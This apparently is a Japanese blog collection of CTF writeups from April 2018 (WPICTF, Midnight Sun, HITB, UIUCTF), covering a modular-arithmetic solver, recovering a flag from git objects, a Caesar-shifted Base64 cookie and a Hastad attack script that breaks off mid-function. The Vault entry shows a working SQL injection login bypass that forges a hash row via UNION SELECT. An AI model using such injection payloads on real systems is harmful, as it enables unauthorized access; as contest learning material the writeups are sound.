WPICTF 2018 Writeup

この大会は2018/4/13 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は3418点で605チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Read (Misc 1)

問題にフラグが書いてある。

WPI{Hey_You_can_R3AD!}

Discord (Misc 10)

Discordの#discord_chalチャネルの名前の横にフラグが書かれている。

WPI{Welcome_to_Disc0rd_ya-D00fus}

Bitpuzzler (Misc 100)

$ nc bitpuzzler.wpictf.xyz 31337

-----
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

inline int64_t pmod(int64_t x) {
	int64_t v = x % 13707217;
	if(v < 0)
		return v + 13707217;
	else
		return v;
}

int main(int argc, char** argv) {
	int64_t x;
	scanf("%ld", &x);
	x = pmod(x);
	x = pmod(x - 2765383);
	x = pmod(x - 11088075);
	x = pmod(x - 53063);
	x = pmod(x - 816347);
	x = pmod(x * 12704223);
	x = pmod(x + 6252924);
	x = pmod(x * 6611972);
	x = pmod(x - 11827031);
	x = pmod(x + 11668824);
	x = pmod(x + 5960404);
	x = pmod(x + 3990469);
	x = pmod(x * 4551209);
	x = pmod(x + 8564211);
	x = pmod(x * 10868946);
	x = pmod(x + 13656920);
	x = pmod(x - 6875294);
	x = pmod(x - 5266333);
	x = pmod(x * 12540554);
	x = pmod(x * 6800308);
	x = pmod(x - 10601882);
	x = pmod(x - 13175208);
	x = pmod(x * 8674854);
	x = pmod(x - 1566882);
	x = pmod(x * 8916465);
	x = pmod(x - 12408787);
	x = pmod(x + 6566083);
	x = pmod(x - 12368595);
	x = pmod(x + 7142759);
	x = pmod(x - 5354305);
	x = pmod(x + 3248766);
	x = pmod(x - 3618572);
	x = pmod(x * 7724903);
	x = pmod(x + 706032);
	x = pmod(x - 9001286);
	x = pmod(x + 4888598);
	x = pmod(x - 8634454);
	x = pmod(x * 9733406);
	x = pmod(x + 7802326);
	x = pmod(x * 896038);
	x = pmod(x * 3011522);
	x = pmod(x * 6151929);
	x = pmod(x + 7935015);
	x = pmod(x * 8182226);
	x = pmod(x * 3248703);
	x = pmod(x + 4872711);
	x = pmod(x * 9159476);
	x = pmod(x - 3410508);
	x = pmod(x - 7169804);
	x = pmod(x - 8315);
	x = pmod(x * 3939779);
	x = pmod(x + 3876691);
	x = pmod(x * 4280527);
	x = pmod(x - 13340241);
	x = pmod(x * 8921547);
	x = pmod(x - 10642560);
	x = pmod(x - 9681873);
	x = pmod(x - 3724401);
	x = pmod(x + 1239026);
	x = pmod(x - 3208209);
	x = pmod(x - 3683714);
	x = pmod(x - 13079469);
	x = pmod(x * 9035856);
	x = pmod(x - 6439696);
	x = pmod(x * 5223258);
	x = pmod(x * 4723953);
	x = pmod(x - 10698396);
	x = pmod(x * 6315260);
	x = pmod(x * 10079006);
	x = pmod(x * 6765231);
	x = pmod(x + 8536576);
	x = pmod(x - 11301677);
	x = pmod(x + 8000942);
	x = pmod(x - 715059);
	x = pmod(x - 2200297);
	x = pmod(x * 9906480);
	x = pmod(x - 8854557);
	x = pmod(x * 5166668);
	x = pmod(x - 12459100);
	x = pmod(x - 818574);
	x = pmod(x - 2950323);
	x = pmod(x + 8425982);
	x = pmod(x * 11546411);
	x = pmod(x * 6166679);
	x = pmod(x * 6499675);
	x = pmod(x - 8615247);
	x = pmod(x + 7929113);
	x = pmod(x - 819362);
	x = pmod(x - 469235);
	x = pmod(x + 9436196);
	x = pmod(x * 10904837);
	x = pmod(x + 8443541);
	x = pmod(x + 11542857);
	x = pmod(x + 5018244);
	x = pmod(x * 1102863);
	x = pmod(x * 4817050);
	x = pmod(x + 7730697);
	x = pmod(x + 2374403);
	x = pmod(x * 2486459);
	x = pmod(x * 4797058);
	x = pmod(x * 8426160);
	if(x == 8594918) {
		printf("Success\n");
		return 0;
	} else {
		printf("Failure\n");
		return 1;
	}
}
-----

元のxを算出する問題。modの計算のため、割り算はinverseの計算をする必要がある。このことを考慮して、コードにすると、以下の通り。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

def parse(s):
    ptn = 'x = pmod\(x (.+) (.+)\);'
    m = re.search(ptn, s)
    op = m.group(1)
    num = int(m.group(2))
    return op, num

def minus_mod(a, b, mod):
    return (a - b) % mod

def plus_mod(a, b, mod):
    return (a + b) % mod

def inv_mod(a, b, mod):
    return (a * modinv(b, mod)) % mod

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('bitpuzzler.wpictf.xyz', 31337))

for i in range(82):
    print '**** Round %d ****' % (i+1)
    data = recvuntil(s, '-----\n')
    data += recvuntil(s, '-----\n')
    print data

    lines = data.split('\n')

    ptn = 'int64_t v = x % (.+);'
    m = re.search(ptn, lines[7])
    mod = int(m.group(1))

    ptn = 'if\(x == (.+)\) {'
    m = re.search(ptn, lines[-10])
    res = int(m.group(1))

    formula = lines[17:-10]

    x = res
    for i in range(len(formula) - 1, 0, -1):
        op, num = parse(formula[i])
        if op == '+':
            x = minus_mod(x, num, mod)
        elif op == '-':
            x = plus_mod(x, num, mod)
        elif op == '*':
            x = inv_mod(x, num, mod)

    print x
    s.sendall(str(x) + '\n')
    data = s.recv(256)
    print data

data = s.recv(256)
print data

82回正解すると、フラグが表示された。

WPI{R1NG$_@ND_F13LDS_M@KE_M3_W@NT_T0_D13}

guess5 (Crypto 200)

Submitをクリックしても反応がない。ブラウザのデベロッパーツールで確認すると、jsonをparseできないようなエラーが起きていることがわかる。
ソースを見ると、app.jsで処理が行われているように見える。
app.jsを見ると、以下のような記載があり、Guess6.jsonを参照していることがわかる。

initContract: function() {
    $.getJSON('Guess6.json', function(guess6Artifact) {

https://glgaines.github.io/guess5/Guess6.jsonを見てみる。
bytecodeなどのパラメータの値があるのがわかる。この辺りに暗号のパラメータでもあるのかもしれない。その辺りを読んでいくと、以下のような記述があり、そのままフラグが書いてあった。

  "source": "pragma solidity ^0.4.17;\r\ncontract Guess6 {\r\n    //global variables\r\n    address owner;\r\n    //modifiers\r\n    modifier restricted() {\r\n        require(msg.sender == owner);\r\n        _;\r\n    }\r\n    // initialize\r\n    function Guess6() public {\r\n        owner = msg.sender;\r\n    }\r\n    function kill() public {\r\n        if(msg.sender == owner) selfdestruct(owner);\r\n    }\r\n\r\n    function makeGuessesArray(uint8 guess0, uint8 guess1, uint8 guess2, uint8 guess3, uint8 guess4, uint8 guess5) public view returns(uint[7], string)  {\r\n        uint8[6] memory guesses;\r\n        guesses[0] = guess0;\r\n        guesses[1] = guess1;\r\n        guesses[2] = guess2;\r\n        guesses[3] = guess3;\r\n        guesses[4] = guess4;\r\n        guesses[5] = guess5;\r\n        return createGuesses(guesses);\r\n    }\r\n\r\n    function createGuesses(uint8[6] guesses) public view returns (uint[7], string) {\r\n        uint[7] memory resultArray;\r\n        uint16 adder = guesses[0] + guesses[1] + guesses[2] + guesses[3] + guesses[4] + guesses[5];\r\n        uint16 correctCount = 0;\r\n        string memory result_answer;\r\n\r\n        uint timeNow  = now/100 + adder;\r\n        resultArray[0] = timeNow % 9;\r\n        resultArray[1] = timeNow % 3;\r\n        resultArray[2] = timeNow % 5;\r\n        resultArray[3] = timeNow % 7;\r\n        resultArray[4] = timeNow % 8;\r\n        resultArray[5] = timeNow % 2;\r\n\r\n        resultArray[6] = timeNow;\r\n\r\n        for(uint8 i = 0; i < 6; i++){\r\n            if(resultArray[i] == guesses[i]) {\r\n                correctCount++;\r\n          }\r\n        }\r\n        if (correctCount == guesses.length){\r\n            result_answer = \"you got the Flag:  WPI{All_Hail_The_Mighty_Vitalik}\";\r\n        } else {\r\n            result_answer = \"Try again\";\r\n        }\r\n      return (resultArray, result_answer);\r\n    }\r\n}\r\n",
WPI{All_Hail_The_Mighty_Vitalik}

Dance (Web 150)

$ curl -v https://dance.wpictf.xyz
* Rebuilt URL to: https://dance.wpictf.xyz/
* Hostname was NOT found in DNS cache
*   Trying 35.184.194.215...
* Connected to dance.wpictf.xyz (35.184.194.215) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server key exchange (12):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using ECDHE-RSA-AES128-GCM-SHA256
* Server certificate:
* 	 subject: CN=dance.wpictf.xyz
* 	 start date: 2018-04-15 00:54:53 GMT
* 	 expire date: 2018-07-14 00:54:53 GMT
* 	 subjectAltName: dance.wpictf.xyz matched
* 	 issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3
* 	 SSL certificate verify ok.
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: dance.wpictf.xyz
> Accept: */*
> 
< HTTP/1.1 302 FOUND
* Server nginx/1.13.12 is not blacklisted
< Server: nginx/1.13.12
< Date: Sun, 15 Apr 2018 03:35:14 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 309
< Connection: keep-alive
< Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s
< Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/
< Set-Cookie: Julius C.="got good dance moves."; Path=/
< Strict-Transport-Security: max-age=31536000
< 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host dance.wpictf.xyz left intact
<p>You should be redirected automatically to target URL: <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s">https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s</a>.  If not click the link.

クッキーには以下がセットされている。

flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=
Julius C.="got good dance moves."

flagはそのままではBase64デコードしても、printableな文字にならない。シーザー暗号と考え、デコードしてWPI{で始まるものを見つける。

$ echo WPI{ | base64
V1BJewo=

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipher
で復号する。

Rotation 9:
V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo=
$ echo V1BJe2JJbkFtX2RvM3NuLHRfa24wd19oMXdfdDJfY3JlYVRlX2NoYUlJZW5nZXN9DQo= | base64 -d
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}

Vault (Web 200)

ソースを見る。

 <!-- Welcome to the the Fuller Vault
 - clients/clients.db stores authentication info with the following schema:

 CREATE TABLE clients (
   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
   clientname VARCHAR(255),
   hash VARCHAR(255),
   salt VARCHAR(255)
 ); -->

<!-- V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt -->
>>> 'V2hhdD8gWW91IHRob3VnaHQgdGhpcyB3YXMgYSBmbGFnPyBIYSB0aGF0IHdvdWxkIGJlIHRvIGVhc3kuIFRoYXQncyBqdXN0IG5vdCBteSBzdHlsZT8gfiBHb3V0aGFt'.decode('base64')
"What? You thought this was a flag? Ha that would be to easy. That's just not my style? ~ Goutham"

style.cssを見ると、Base64で書かれたコメントが記載されている。

c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg==

Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K
>>> 'c2VhcmNoID0gIiIiU0VMRUNUIGlkLCBoYXNoLCBzYWx0IEZST00gY2xpZW50cyBXSEVSRSBjbGllbnRuYW1lID0gJ3swfScgTElNSVQgMSIiIi5mb3JtYXQoY2xpZW50bmFtZSkNCnBvaW50ZXIuZXhlY3V0ZShzZWFyY2gpDQoNCiByZXMgPSBwb2ludGVyLmZldGNob25lKCkNCiAgICBpZiBub3QgcmVzOg0KICAgICAgICByZXR1cm4gIk5vIHN1Y2ggdXNlciBpbiB0aGUgZGF0YWJhc2UgezB9IVxuIi5mb3JtYXQoY2xpZW50bmFtZSkNCiAgICB1c2VySUQsIGhhc2gsIHNhbHQgPSByZXMNCg=='.decode('base64')
'search = """SELECT id, hash, salt FROM clients WHERE clientname = \'{0}\' LIMIT 1""".format(clientname)\r\npointer.execute(search)\r\n\r\n res = pointer.fetchone()\r\n    if not res:\r\n        return "No such user in the database {0}!\\n".format(clientname)\r\n    userID, hash, salt = res\r\n'

>>> 'Y2FsY3VsYXRlZEhhc2ggPSBoYXNobGliLnNoYTI1NihwYXNzd29yZCArIHNhbHQpDQppZiBjYWxjdWxhdGVkSGFzaC5oZXhkaWdlc3QoKSAhPSBoYXNoOg0KDQoJSW52YWxpZA0K'.decode('base64')
'calculatedHash = hashlib.sha256(password + salt)\r\nif calculatedHash.hexdigest() != hash:\r\n\r\n\tInvalid\r\n'

passwordとsaltを決めて、hashを計算する。

>>> import hashlib
>>> hashlib.sha256('pass' + 'salt').hexdigest()
'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6'

以下でログイン

Username
' union select '1', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' --

Password
pass

→Welcome back valid user! Your digital secret is: "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

idを2に変えてみる。

Username
' union select '2', 'c8b2505b76926abdc733523caa9f439142f66aa7293a7baaac0aed41a191eef6', 'salt' --

Password
pass

→Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"
WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}

Midnight Sun CTF Quals Writeup

この大会は2018/4/14 19:00(JST)~2018/4/15 19:00(JST)に開催されました。
今回もチームで参戦。結果は110点で221チーム中69位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (Misc 10)

Serviceに記載されているkiwiircのページに入ると、フラグが表示された。

midnight{midnightsunctf_2018}

Diary (Misc 50)

gitのファイル群が与えられている。

$ cd .git
$ xxd -g 1 index
0000000: 44 49 52 43 00 00 00 02 00 00 00 02 5a d1 4a 98  DIRC........Z.J.
0000010: 36 bf e7 7c 5a d1 4a 98 36 bf e7 7c 00 00 00 2f  6..|Z.J.6..|.../
0000020: 00 00 0c f0 00 00 81 a4 00 00 00 00 00 00 03 e7  ................
0000030: 00 00 01 db 4b 3c a9 1d 6d db a6 e9 f0 aa bd 33  ....K<..m......3
0000040: c3 6d 2a 4f a7 15 91 ab 00 09 64 69 61 72 79 2e  .m*O......diary.
0000050: 74 78 74 00 5a d1 4a 98 36 ed ba 58 5a d1 4a 98  txt.Z.J.6..XZ.J.
0000060: 36 ed ba 58 00 00 00 2f 00 00 0c f1 00 00 81 a4  6..X.../........
0000070: 00 00 00 00 00 00 03 e7 00 00 00 4f 80 7a 75 19  ...........O.zu.
0000080: 57 53 88 2b 07 b6 9b dd ce d3 fd 82 d3 cc af 9c  WS.+............
0000090: 00 0c 77 69 73 68 6c 69 73 74 2e 74 78 74 00 00  ..wishlist.txt..
00000a0: 00 00 00 00 54 52 45 45 00 00 00 19 00 32 20 30  ....TREE.....2 0
00000b0: 0a b1 f9 65 09 20 92 00 a6 dd a7 ad 4b de b7 02  ...e. ......K...
00000c0: 61 c7 30 ab e2 5b 3d 69 3c fa b4 e8 cf 96 e0 29  a.0..[=i<......)
00000d0: 47 9f 1b 48 08 00 73 80 e2                       G..H..s..

$ python -c 'import zlib; print zlib.decompress(open("objects/4b/3ca91d6ddba6e9f0aabd33c36d2a4fa71591ab").read())'
blob 475Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

April 10th
I was a little bit sad today.

April 11th
Today I found a flag, it said: <PAGE TORN HERE> that sounds very interesting.

April 12th
I called my uncle today. He said he read a cool story in the newspaper.

April 13th
Tomorrow is my birthday. I am very excited to see if I get a cake.

April 14th
Woho! Today is my birthday! And we are hacking!


$ python -c 'import zlib; print zlib.decompress(open("objects/80/7a75195753882b07b69bddced3fd82d3ccaf9c").read())'
blob 79~~ My Wishlist ~~
* A dog
* Computer game
* A wolf t-shirt
* Stickers
* Pencil

$ cat refs/heads/master
2fec4e955704bd60292a9f9169f05c3334e555f4

$ python -c 'import zlib; print zlib.decompress(open("objects/2f/ec4e955704bd60292a9f9169f05c3334e555f4").read())'
commit 261tree b1f96509209200a6dda7ad4bdeb70261c730abe2
parent b182065ebc321a5432ab89be1ef2240077b3fbec
author Calle Svensson <calle.svensson@zeta-two.com> 1523665372 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665372 +0200

Added pencil to wishlist

$ python -c 'import zlib; print zlib.decompress(open("objects/b1/f96509209200a6dda7ad4bdeb70261c730abe2").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 4b 3c a9 1d 6d db a6  iary.txt.K<..m..
0000020: e9 f0 aa bd 33 c3 6d 2a 4f a7 15 91 ab 31 30 30  ....3.m*O....100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 80 7a 75 19 57 53 88 2b 07 b6 9b dd ce d3 fd  ..zu.WS.+.......
0000050: 82 d3 cc af 9c 0a                                ......

$ python -c 'import zlib; print zlib.decompress(open("objects/80/7a75195753882b07b69bddced3fd82d3ccaf9c").read())'
blob 79~~ My Wishlist ~~
* A dog
* Computer game
* A wolf t-shirt
* Stickers
* Pencil

$ python -c 'import zlib; print zlib.decompress(open("objects/b1/82065ebc321a5432ab89be1ef2240077b3fbec").read())'
commit 247tree ebad3d2a3f429429928e9b1a8169564dc9342f7a
parent e7354a8187cd28c075e602f40380968d2865dcac
author Calle Svensson <calle.svensson@zeta-two.com> 1523665225 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665225 +0200

April 14th

$ python -c 'import zlib; print zlib.decompress(open("objects/eb/ad3d2a3f429429928e9b1a8169564dc9342f7a").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 4b 3c a9 1d 6d db a6  iary.txt.K<..m..
0000020: e9 f0 aa bd 33 c3 6d 2a 4f a7 15 91 ab 31 30 30  ....3.m*O....100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/d9/30f15ac020064ad6e79448532b3c5b9c0871ef").read())'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
IOError: [Errno 2] No such file or directory: 'objects/d9/30f15ac020064ad6e79448532b3c5b9c0871ef'

$ python -c 'import zlib; print zlib.decompress(open("objects/e7/354a8187cd28c075e602f40380968d2865dcac").read())'
commit 247tree 2160a4fb4d08f926f96580f8e44ecb3012bb3e12
parent afe5a9b6a373add54d07d874fb08edeec4a740da
author Calle Svensson <calle.svensson@zeta-two.com> 1523665209 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665209 +0200

April 13th

$ python -c 'import zlib; print zlib.decompress(open("objects/21/60a4fb4d08f926f96580f8e44ecb3012bb3e12").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 9f ad 23 eb 69 12 54  iary.txt...#.i.T
0000020: cd 25 42 fe 37 7b 6d c6 06 4b a7 ef 53 31 30 30  .%B.7{m..K..S100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/9f/ad23eb691254cd2542fe377b6dc6064ba7ef53").read())'
blob 415Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

April 10th
I was a little bit sad today.

April 11th
Today I found a flag, it said: <PAGE TORN HERE> that sounds very interesting.

April 12th
I called my uncle today. He said he read a cool story in the newspaper.

April 13th
Tomorrow is my birthday. I am very excited to see if I get a cake.

$ python -c 'import zlib; print zlib.decompress(open("objects/af/e5a9b6a373add54d07d874fb08edeec4a740da").read())'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
IOError: [Errno 2] No such file or directory: 'objects/af/e5a9b6a373add54d07d874fb08edeec4a740da'

フラグが見つからない。手あたり次第調べる。

$ python -c 'import zlib; print zlib.decompress(open("objects/1c/8a3c51ee520c73063961fe289a5bda4a5e50c5").read())'
commit 246tree 1dd5ab00ec968226aad37c2a0e23a3f8fba9e4aa
parent 32dbb65cd1d1612a9c88805dde8a32115a19949f
author Calle Svensson <calle.svensson@zeta-two.com> 1523665080 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665080 +0200

April 9th

$ python -c 'import zlib; print zlib.decompress(open("objects/1d/d5ab00ec968226aad37c2a0e23a3f8fba9e4aa").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 2a c0 ee cb a4 ba b7  iary.txt.*......
0000020: 2c 3e e1 3f 57 44 bd f8 41 94 7a 5f 7e 31 30 30  ,>.?WD..A.z_~100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/2a/c0eecba4bab72c3ee13f5744bdf841947a5f7e").read())'
blob 120Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

$ python -c 'import zlib; print zlib.decompress(open("objects/32/dbb65cd1d1612a9c88805dde8a32115a19949f").read())'
commit 266tree b78b2c9900bb05e863f8a3e74e656f2822d9a01f
parent 6a815d656900fface9ed54f74d16bb80821fec47
author Calle Svensson <calle.svensson@zeta-two.com> 1523665066 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665066 +0200

Added stickers to my wishlist

$ python -c 'import zlib; print zlib.decompress(open("objects/b7/8b2c9900bb05e863f8a3e74e656f2822d9a01f").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 fa bb 13 23 4d d9 4f  iary.txt....#M.O
0000020: 69 76 40 22 0e d4 48 ab db d0 5f 3a b1 31 30 30  iv@"..H..._:.100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/fa/bb13234dd94f697640220ed448abdbd05f3ab1").read())'
blob 72Hello!

This is my diary. There are many like it but this one is mine.

$ python -c 'import zlib; print zlib.decompress(open("objects/6a/815d656900fface9ed54f74d16bb80821fec47").read())'
commit 205tree 7db3bf515b769b5507c420e59671d527500998f4
author Calle Svensson <calle.svensson@zeta-two.com> 1523665007 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665007 +0200

Created my diary

$ python -c 'import zlib; print zlib.decompress(open("objects/7d/b3bf515b769b5507c420e59671d527500998f4").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 fa bb 13 23 4d d9 4f  iary.txt....#M.O
0000020: 69 76 40 22 0e d4 48 ab db d0 5f 3a b1 31 30 30  iv@"..H..._:.100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 eb 05 64 99 96 aa d8 ae e2 a9 a7 1e 7a 22 f8  ...d.........z".
0000050: 89 c1 44 09 46 0a                                ..D.F.

$ python -c 'import zlib; print zlib.decompress(open("objects/eb/05649996aad8aee2a9a71e7a22f889c1440946").read())'
blob 59~~ My Wishlist ~~
* A dog
* Computer game
* A wolf t-shirt

$ python -c 'import zlib; print zlib.decompress(open("objects/4e/9a1fe2aeb76cd0ab2c3d232691b714146b0475").read())'
commit 247tree 101878b72d0c1f07341bef8f4c4f01c5b99412df
parent f668fa6d35bcf679fe0b2a4eb53a4379b8489eed
author Calle Svensson <calle.svensson@zeta-two.com> 1523665126 +0200
committer Calle Svensson <calle.svensson@zeta-two.com> 1523665126 +0200

April 11th

$ python -c 'import zlib; print zlib.decompress(open("objects/10/1878b72d0c1f07341bef8f4c4f01c5b99412df").read())' | xxd -g 1
0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64  tree 77.100644 d
0000010: 69 61 72 79 2e 74 78 74 00 18 f0 c6 6f e2 47 07  iary.txt....o.G.
0000020: 6f 80 1b a8 ee a1 9c 47 8f 8b e3 d4 49 31 30 30  o......G....I100
0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74  644 wishlist.txt
0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c  ..0.Z. .J...HS+<
0000050: 5b 9c 08 71 ef 0a                                [..q..

$ python -c 'import zlib; print zlib.decompress(open("objects/18/f0c66fe247076f801ba8eea19c478f8be3d449").read())'
blob 285Hello!

This is my diary. There are many like it but this one is mine.

April 9th
Today was a good day. I ate some pie.

April 10th
I was a little bit sad today.

April 11th
Today I found a flag, it said: midnight{if_an_object_ref_falls_and_no_one_hears} that sounds very interesting.
midnight{if_an_object_ref_falls_and_no_one_hears}

Hack Zone Tunisia 2018 参戦

この大会は2018/4/15 5:00(JST)~2018/4/15 17:00(JST)に開催されました。
今回もチームで参戦。結果は1708点で63チーム中11位でした。
今回は自分が得点した問題は1問もありませんでした。
パッと見た感じ、簡単には解ける問題もなかったので、他の大会を優先。
Writeupで復習したいと思います。

HITB-XCTF GSEC CTF 2018 Quals Writeup

この大会は2018/4/11 23:00(JST)~2018/4/13 23:00(JST)に開催されました。
今回もチームで参戦。結果は692点で344チーム中81位でした。
自分で解けた問題は参加表明問題だけでしたが、Writeupとして書いておきます。

IRC checkin (Misc)

freenodeで #hitbxctf2018 チャネルに入る。

22:58 *topic : HITB-XCTF 2018 GSEC Online Qualifications | https://conference.hitb.org/hitbsecconf2018ams/hitb-xctf-gsec-qualifications/. Flag for IRC checkin: HITBXCTF{W3lcome_To_HITBXCTF_2018_Online_Qualifications}
HITBXCTF{W3lcome_To_HITBXCTF_2018_Online_Qualifications}

UIUCTF 2018 Writeup

この大会は2018/4/7 9:00(JST)~2018/4/9 9:00(JST)に開催されました。
今回もチームで参戦。結果は602点で431チーム中19位でした。
自分で解けた問題をWriteupとして書いておきます。

We Read the Rules (other 0)

ルール記述の下にフラグが書いてある。

flag{0kay_s0unds_g00d_2_m3}

irc (other 1)

freenodeで#uiuctfチャネルに入る。

10:13 *topic :  Welcome to UIUCTF | CTF live at https://uiuc.tf/ flag{sorry_for_not_posting_link_to_irc_sooner}
flag{sorry_for_not_posting_link_to_irc_sooner}

ROT180 (Misc 1)

上下反対(180度回転)にするとフラグになっている。

flag{at_least_its_not_recon}

Hastad (Crypto 200)

Hastad's broadcast attackで攻撃できそう。
eは3なので、対応するnとcのペアが3つ必要。
ペアが分からず、cが15個もあるので、総当たりで攻撃する。

import functools
import itertools

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
